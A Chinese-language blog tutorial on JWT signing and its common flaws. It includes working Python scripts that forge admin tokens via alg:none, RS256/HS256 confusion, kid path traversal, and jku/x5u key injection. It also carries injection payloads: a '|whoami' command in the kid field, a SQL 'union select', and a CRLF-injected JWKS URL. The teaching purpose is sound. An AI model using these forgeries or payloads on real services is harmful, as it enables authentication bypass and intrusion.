本文最后更新于 2026年6月26日 下午
JWT 概念
JWT(JSON Web Token)本质上是一种 可传输的数据凭证 。
通常用于:
- 登录状态
- 身份认证
- 用户信息传递
- 服务之间的信任通信
JWT 通常涉及以下两种机制:
| 机制 |
作用 |
现实表现 |
| 编码(Encoding) |
方便网络传输 |
使用 Base64URL 算法,不具备任何加密/防看效果 |
| 签名(Signature) |
防止别人篡改内容 |
服务端借此确信该 Token 确实由自己签发且未被修改 |
数据格式: 本文主要介绍采用 JWS 紧凑序列化格式的签名 JWT。
1
| Base64URL(Header).Base64URL(Payload).Base64URL(Signature)
|
Header: 定义了 JWT 签名算法。
1 2 3 4
| { "typ": "JWT", "alg": "HS256" }
|
JWT 常用算法签名:
| 类型 |
算法 |
密钥类型 |
| 对称签名 |
HS256 / HS384 / HS512 |
同一个 secret |
| 非对称 RSA |
RS256 / RS384 / RS512 |
私钥 + 公钥 |
| RSA-PSS |
PS256 / PS384 / PS512 |
私钥 + 公钥 |
| 椭圆曲线 ECDSA |
ES256 / ES384 / ES512 |
私钥 + 公钥 |
| 不安全 JWT |
none |
不包含签名,仅在验证方明确允许时使用 |
Payload: 定义鉴权信息,一般存储有用户名称,凭证创建时间和过期时间等。
Signature: 服务器会对 Base64(Header).Base64(Payload) 使用 Header 中定义的签名算法进行签名,生成 Signature。当服务器收到 JWT 后,会重新计算签名并与 JWT 中的 Signature 对比,对比结果一致说明 JWT 合法。
使用 HS256 算法生成 JWT。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| # header 定义有签名算法 { "typ": "JWT", "alg": "HS256" }
# 用户名为 admin { "user": "admin" }
# 密钥 Secret f0nef0nef0nef0nef0nef0nef0nef0ne
# 生成 jwt token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey1c2VyIjoiYWRtaW4ifQ.iMSlT8Rc9QVthaIIcw_XngrjYl67rflojym79QIbAeQ
|

校验: HS256 属于基于 HMAC 的对称消息认证算法。服务器会使用共享 Secret,对 Base64URL(Header).Base64URL(Payload) 计算 HMAC-SHA256,并将计算结果与 JWT 中的 Signature 进行安全比较。如果结果一致,则签名验证通过。

JWT 非对称签名: 签发方使用私钥对 Base64URL(Header).Base64URL(Payload) 组成的数据进行数字签名,并生成 Signature。客户端携带 JWT 发起请求后,验证方使用对应公钥验证签名。如果验签成功,说明 Token 内容在签发后未被修改,并且签名由持有对应私钥的一方生成。
JWT 无签名: JWT 标准定义了 alg: none 的无签名模式,此时签名部分为空,Token 形式通常为 Header.Payload.。如果服务端错误地允许来自不可信客户端的 alg: none Token,并跳过签名验证,攻击者可能修改 Payload 并伪造用户身份。
JWT 流程总结:
1 2 3 4 5 6 7 8 9 10 11 12 13
| 用户登录 ↓ 服务器验证账号密码 ↓ 服务器生成 JWT ↓ 返回 JWT 给客户端 ↓ 客户端保存 JWT ↓ 后续请求携带 JWT ↓ 服务器验证 JWT
|
注意: JWT 使用 Base64URL 编码,而不是标准 Base64。Base64URL 会将 + 替换为 - ,/ 替换为 _ ,并通常移除末尾的 = 。
JWT 常见安全问题
None 算法绕过

场景: 服务端错误地允许并信任 alg: none 的 JWT。
利用: 攻击者将 Header 中的 alg 修改为 none,删除签名内容,并修改 Payload。若服务端错误地接受该无签名 Token,即可造成身份认证绕过。

JWT 算法混淆攻击(RS256 转 HS256)

场景: 服务端原本应使用 RS256 和 RSA 公钥验证签名,但错误地允许 JWT Header 决定验签算法,并同时支持 RS256 和 HS256。由于 RSA 公钥通常可以公开,攻击者可能获取服务端使用的公钥。
利用: 攻击者将 Header 中的 alg 从 RS256 修改为 HS256,并把服务端的 RSA 公钥原始字节作为 HMAC Secret,对修改后的 Header 和 Payload 计算 HS256 签名。如果服务端错误地将同一份 RSA 公钥作为 HMAC Secret 使用,伪造的 JWT 可能通过验证。
注意: 许多现代 JWT 库会拒绝将 PEM 格式的 RSA 公钥直接作为 HMAC Secret,因此实验中可能需要使用原始 HMAC 代码,并确保使用的公钥字节内容与服务端完全一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import base64 import hashlib import hmac import json
public_key = open("public.pem", "rb").read()
header = { "alg": "HS256", "typ": "JWT" }
payload = { "login": "admin" }
def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b'=')
header_b64 = b64url(json.dumps(header, separators=(',', ':')).encode()) payload_b64 = b64url(json.dumps(payload, separators=(',', ':')).encode())
signing_input = header_b64 + b'.' + payload_b64
signature = hmac.new( public_key, signing_input, hashlib.sha256 ).digest()
jwt_token = ( signing_input.decode() + "." + b64url(signature).decode() )
print(jwt_token)
|

1 2 3 4 5 6
| # header 中包含 kid 参数 { "typ": "JWT", "alg": "HS256", "kid": "0001" }
|
场景: 部分服务端会根据 JWT Header 中的 kid 字段动态获取签名密钥。
服务端在校验 JWT 时,会先对 Header 进行 Base64URL 解码,读取 kid 的值,然后通过:查询数据库、读取本地文件、请求远程 URL、调用系统命令等方法获取对应的 Key,最后使用指定算法进行签名校验。
KID 路径遍历与可预测文件密钥攻击
利用: 服务端在校验 JWT 时,会读取 Header 中的 kid 值,并直接将该值作为文件路径读取对应 Key 内容。由于服务端不会将文件内容直接返回给客户端,而是仅将读取到的内容作为 HS256 的 Secret 参与签名校验,因此我们无法直接获取文件内容。但由于 kid 的值可控,在部分 Linux 环境和特定实现中,可尝试将其指定为 /dev/null,使服务端读取空内容作为 Key。随后,攻击者使用相同的空字节内容作为 HS256 Secret 计算签名,可能伪造合法 JWT。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
import jwt
payload = { "user": "admin" }
headers = { "typ": "JWT", "alg": "HS256", "kid": "../../../dev/null" }
token = jwt.encode( payload, "", algorithm="HS256", headers=headers )
|
注意: 也可以将 kid 指向攻击者已知内容的服务器文件,并使用完全相同的文件字节作为 HMAC Secret 计算签名,例如公开访问的 CSS 文件。该方法通常需要确定服务器本地文件的实际路径。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import jwt
payload = { "user": "admin" }
headers = { "typ": "JWT", "alg": "HS256", "kid": "public/css/xxx.css" }
key = open("xxx.css", "rb").read() print(key)
token = jwt.encode( payload, key, algorithm="HS256", headers=headers )
print(token)
|
KID 远程命令执行
利用: 如果服务端在校验 JWT 时,将 Header 中的 kid 值直接拼接到系统命令中,用于动态获取对应的 Key,并且没有进行参数化处理或严格过滤,攻击者可能通过构造恶意 kid 触发命令注入。服务端直接将 kid 拼接到命令执行语句中,且未进行过滤,通过构造恶意 kid 实现命令注入,导致远程命令执行。
1 2 3 4 5
| { "typ": "JWT", "alg": "HS256", "kid": "|whoami" }
|

KID SQL 注入
利用: 服务端在校验 JWT 时,会读取 Header 中的 kid 值,并将其拼接到 SQL 查询语句中,用于获取对应的签名 Key。由于服务端将 kid 直接拼接到 SQL 查询语句中,且未使用参数化查询,攻击者可能构造 SQL 注入语句并控制查询结果,使服务端获取攻击者指定的 Key,从而伪造 JWT。
1 2 3 4 5 6 7 8 9 10 11 12
| # Header { "typ": "JWT", "alg": "HS256", "kid": "0001' union select 1--" } # Payload { "user": "admin" } # key 1
|


1 2 3 4 5 6 7
| # header 包含 jku 参数 { "typ": "JWT", "alg": "RS256", "kid": "test", "jku": "http://xxx/1.json" }
|
场景: JWT Header 中的 jku 参数用于指定一个 JWKS(JSON Web Key Set)资源地址。验证方可以从该地址获取公钥集合,并根据 JWT Header 中的 kid 选择对应公钥进行签名验证。
服务端在校验 JWT 时,首先对 Header 进行 Base64URL 解码以提取 jku(JWK Set URL)参数。随后,服务端向该 URL 发起网络请求,获取包含公钥关键分量(模数 n、指数 e)及指定签名算法的 JWKS(JSON Web Key Set)文件。通过这些数学分量,服务端在内存中反向还原出完整的 RSA 公钥,最终使用选中的公钥验证 JWT 签名。
1 2 3 4 5 6 7 8 9 10 11 12
| { "keys": [ { "kty": "RSA", "use": "sig", "kid": "test", "n": "oTtAXRgdJ6Pu0jr3hK3opCF5xxxx...", "e": "AQAB", "alg": "RS256" } ] }
|
利用: 由于服务端未对 JWT Header 中的 jku 字段进行域名白名单校验,我们可以本地生成一套自签 RSA 密钥对,将其公钥的模数 n 和指数 e 转化为标准 JWKS 格式并托管至远程公网服务器;随后,我们利用对应的自签私钥签署一个伪造的高权限 JWT,并将 jku 字段指向该恶意链接;服务端在验签时会顺着 jku 下载我们的公钥进行密算,从而使伪造的 Token 校验通过,达成身份鉴权绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import base64 import json
import jwt from cryptography.hazmat.primitives.asymmetric import rsa from jwt.algorithms import RSAAlgorithm
priv_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_key = priv_key.public_key() if isinstance(priv_key, rsa.RSAPrivateKey): numbers = pub_key.public_numbers() n = numbers.n n_test = n.to_bytes(n.bit_length() // 8 + 1, byteorder="big") n_ok = base64.urlsafe_b64encode(n_test).decode("utf-8").rstrip("=") e = numbers.e e_test = e.to_bytes(e.bit_length() // 8 + 1, byteorder="big") e_ok = base64.urlsafe_b64encode(e_test).decode("utf-8").rstrip("=") print(n_ok) print(e_ok) headers = { "keys": [ { "kty": "RSA", "use": "sig", "kid": "test", "n": n_ok, "e": e_ok, "alg": "RS256" } ] } print(json.dumps(headers)) payload = { "user": "admin" } header = { "typ": "JWT", "alg": "RS256", "jku": "http://xxx/1.json" } token = jwt.encode(payload=payload, key=priv_key, algorithm="RS256", headers=header) print(token) jwt_data = { "kty": headers['keys'][0]["kty"], "n": headers['keys'][0]["n"], "e": headers['keys'][0]["e"], "alg": headers['keys'][0]["alg"] } pub_keys = RSAAlgorithm.from_jwk(jwt_data) decoded = jwt.decode(token, pub_keys, algorithms=["RS256"]) print(decoded)
|
当服务端对 jku 参数引入了同域(或白名单)域名校验时,可通过结合任意文件上传缺陷来实现绕过。首先在本地生成 RSA 自签密钥对,并将其公钥的 n、e 分量封装为标准 JWKS 格式的 JSON 文件;随后利用系统上传接口,将该文件持久化至目标服务器的 Web 可访问目录下,获取同域下的绝对路径 URL;最后,利用本地私钥签署高权限 JWT,并将 Header 中的 jku 字段指向该同域恶意文件链接,以此诱导服务端绕过域名检测并加载伪造公钥,最终实现身份鉴权绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
import base64 import json
import jwt from cryptography.hazmat.primitives import serialization
f = open("private_key.pem", "rb") priv_key = serialization.load_pem_private_key(f.read(), password=None) pub_key = priv_key.public_key() numbers = pub_key.public_numbers() n = numbers.n n_test = n.to_bytes(n.bit_length() // 8 + 1, byteorder="big") n_ok = base64.urlsafe_b64encode(n_test).decode("utf-8").rstrip("=") e = numbers.e e_test = e.to_bytes(e.bit_length() // 8 + 1, byteorder="big") e_ok = base64.urlsafe_b64encode(e_test).decode("utf-8").rstrip("=")
jwk = {"keys": [ { "kty": "RSA", "use": "sig", "kid": "test", "n": n_ok, "e": e_ok, "alg": "RS256" } ] } print(json.dumps(jwk))
payload = { "user": "admin" } header = { "typ": "JWT", "alg": "RS256", "jku": "http://xxx/.well-known/../d14a4ec1-d271-47c8-a071-500aad7c6398.json" } token = jwt.encode(payload=payload, key=priv_key, algorithm="RS256", headers=header) print(token)
|
当服务端既无文件上传接口又引入了 jku 域名白名单时,可通过开放重定向(Open Redirect)漏洞实现绕过:我们可以在本地生成自签密钥对并将公钥托管至外网,随后构造高权限 JWT,将其 Header 中的 jku 字段指向目标服务器的合规域名、但通过重定向跳转至外网恶意链接;服务端验签时会放行该合规域名,但在实际请求时会跟随重定向,最终加载并信任伪造公钥,达成身份鉴权绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
import base64 import json
import jwt from cryptography.hazmat.primitives import serialization
f = open("private_key.pem", "rb") priv_key = serialization.load_pem_private_key(f.read(), password=None) pub_key = priv_key.public_key() numbers = pub_key.public_numbers() n = numbers.n n_test = n.to_bytes(n.bit_length() // 8 + 1, byteorder="big") n_ok = base64.urlsafe_b64encode(n_test).decode("utf-8").rstrip("=") e = numbers.e e_test = e.to_bytes(e.bit_length() // 8 + 1, byteorder="big") e_ok = base64.urlsafe_b64encode(e_test).decode("utf-8").rstrip("=")
jwk = {"keys": [ { "kty": "RSA", "use": "sig", "kid": "test", "n": n_ok, "e": e_ok, "alg": "RS256" } ] } print(json.dumps(jwk))
payload = { "user": "admin" } header = { "typ": "JWT", "alg": "RS256", "jku": "http://xxx/.well-known/../redirect?redirect_uri=http://xxx/1.json" } token = jwt.encode(payload=payload, key=priv_key, algorithm="RS256", headers=header) print(token)
|
当服务端引入了 jku 域名白名单且没有文件上传接口,但目标系统存在 CRLF 注入漏洞时,我们可利用路径遍历结合参数注入实现绕过。我们首先构造高权限 JWT,将其 Header 中的 jku 字段利用路径遍历(如 /.well-known/../debug)指向存在缺陷的内部接口,并在参数中注入换行符(%0D%0A)与自签公钥的 JWKS 数据;服务端在请求该“合规域名”的接口时,其底层的 HTTP 响应头被换行符强行截断,迫使接口在 Body 中直接吐出伪造的公钥内容,从而使服务端在同域下“自产自销”地加载了我们生成的公钥,最终达成身份鉴权绕过。
CRLF 注入漏洞: 通过在输入参数中注入合法的“换行控制字符”,强行破坏并重构了服务器返回的 HTTP 报文结构。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
import base64 import json
import jwt from cryptography.hazmat.primitives import serialization
f = open("private_key.pem", "rb") priv_key = serialization.load_pem_private_key(f.read(), password=None) pub_key = priv_key.public_key() numbers = pub_key.public_numbers() n = numbers.n n_test = n.to_bytes(n.bit_length() // 8 + 1, byteorder="big") n_ok = base64.urlsafe_b64encode(n_test).decode("utf-8").rstrip("=") e = numbers.e e_test = e.to_bytes(e.bit_length() // 8 + 1, byteorder="big") e_ok = base64.urlsafe_b64encode(e_test).decode("utf-8").rstrip("=")
jwk = {"keys": [ { "kty": "RSA", "use": "sig", "kid": "test", "n": n_ok, "e": e_ok, "alg": "RS256" } ] } print(json.dumps(jwk))
payload = { "user": "admin" } header = { "typ": "JWT", "alg": "RS256", "jku": "http://xxx/.well-known/../debug?value=123%0D%0AContent-Length:436%0D%0A%0D%0A%7B%22keys%22%3A%20%5B%7B%22kty%22%3A%20%22RSA%22%2C%20%22use%22%3A%20%22sig%22%2C%20%22kid%22%3A%20%22test%22%2C%20%22n%22%3A%20%22ALNEWtLJvO1jAHvuO0ETSE3vdSynHEERB2LSsd%5F6FOQzuEFg0mToWi8sO33DSycpKrccnVxIIS7xgvvzh4sByLBbbcJt2ndW04m9sTuymiwJBbGxDP6c8cTQNusF855hpSDnH6t%5Fu5qhGuhHNO4sEjAqAPz5QOisN%2Dx7ojA9ubb6Tg2mkm372JffnvSlDfQJo%2Dh1z0dacWr%2DfgIJdJEPz3LTMPQSACn0uneu9sxPHjmVHPmogJhesHIhGjbhU0uEbJ%2DjvBqw%5FjvHolactvBjvZw%5FtvWrpK636oGeklE4D7yGtsVm9c5qk5cYtAyycI%5FRAQmT%5Ftx0%5FoL7G9x9jUFQ%2DOM%22%2C%20%22e%22%3A%20%22AQAB%22%2C%20%22alg%22%3A%20%22RS256%22%7D%5D%7D%00.json" } token = jwt.encode(payload=payload, key=priv_key, algorithm="RS256", headers=header) print(token)
|
CRLF 注入漏洞 payload 解读: 单个 \r\n(%0D%0A)用于结束当前响应头字段行,随后可插入新的响应头字段;双 CRLF,即 \r\n\r\n(%0D%0A%0D%0A),用于结束整个响应头区域,使后续数据被客户端解析为响应体。结合正确计算的 Content-Length,可以尝试控制客户端实际读取的响应体内容。

场景: 服务端通过 JWT Header 中的 x5u 参数传递包含公钥证书链文件的 URL 路径,用于签名的有效性校验。
与 jwt header jku 参数注入类似,服务端在校验 JWT 时,首先对 Header 进行 Base64URL 解码以提取 x5u(X.509 URL)参数。随后,服务端向该 URL 发起网络请求,下载标准的 X.509 证书文件(通常包含 PEM 格式的证书链)。服务端在内存中对该证书进行解析,提取出其中嵌套的公钥分量,最终使用该公钥对 JWT 的签名完成有效性校验。
利用: 当服务端接受攻击者可控的 x5u 地址,主动下载远程 X.509 证书,并错误地直接信任证书中的公钥,而没有验证可信 CA、证书链、证书指纹或预配置密钥关系时,攻击者可能托管自签证书,并使用对应私钥签发伪造 JWT。首先在本地创建私钥并生成对应的 crt 证书文件,随后将证书上传到我们的公开服务器上。接着,在本地伪造一个高权限的 JWT,并将 Header 中的 x5u 值修改为我们证书的远程下载链接。服务端在收到 Token 后,会通过 x5u 请求并加载我们自定义的证书,利用其中包含的公钥对恶意签名进行校验,从而导致验签成功,达成身份越权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
|
import base64 import json
import jwt from cryptography import x509 from cryptography.hazmat.primitives import serialization
with open("certificate.crt", "rb") as cert_file: cert_data = cert_file.read() cert = x509.load_pem_x509_certificate(cert_data)
der_bytes = cert.public_bytes(serialization.Encoding.DER) x5c_string = base64.b64encode(der_bytes).decode('utf-8')
with open("private_key.pem", "rb") as priv_file: priv_key = serialization.load_pem_private_key(priv_file.read(), password=None)
payload = { "user": "admin" } header = { "typ": "JWT", "alg": "RS256", "x5u": "http://xxx.com@ip:port/1.json" } jwk = { "keys": [ { "kty": "RSA", "use": "sig", "kid": "test", "x5c": x5c_string, "alg": "RS256" } ] } print(json.dumps(jwk)) token = jwt.encode(payload=payload, key=priv_key, algorithm="RS256", headers=header) print(token)
|
Thinks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨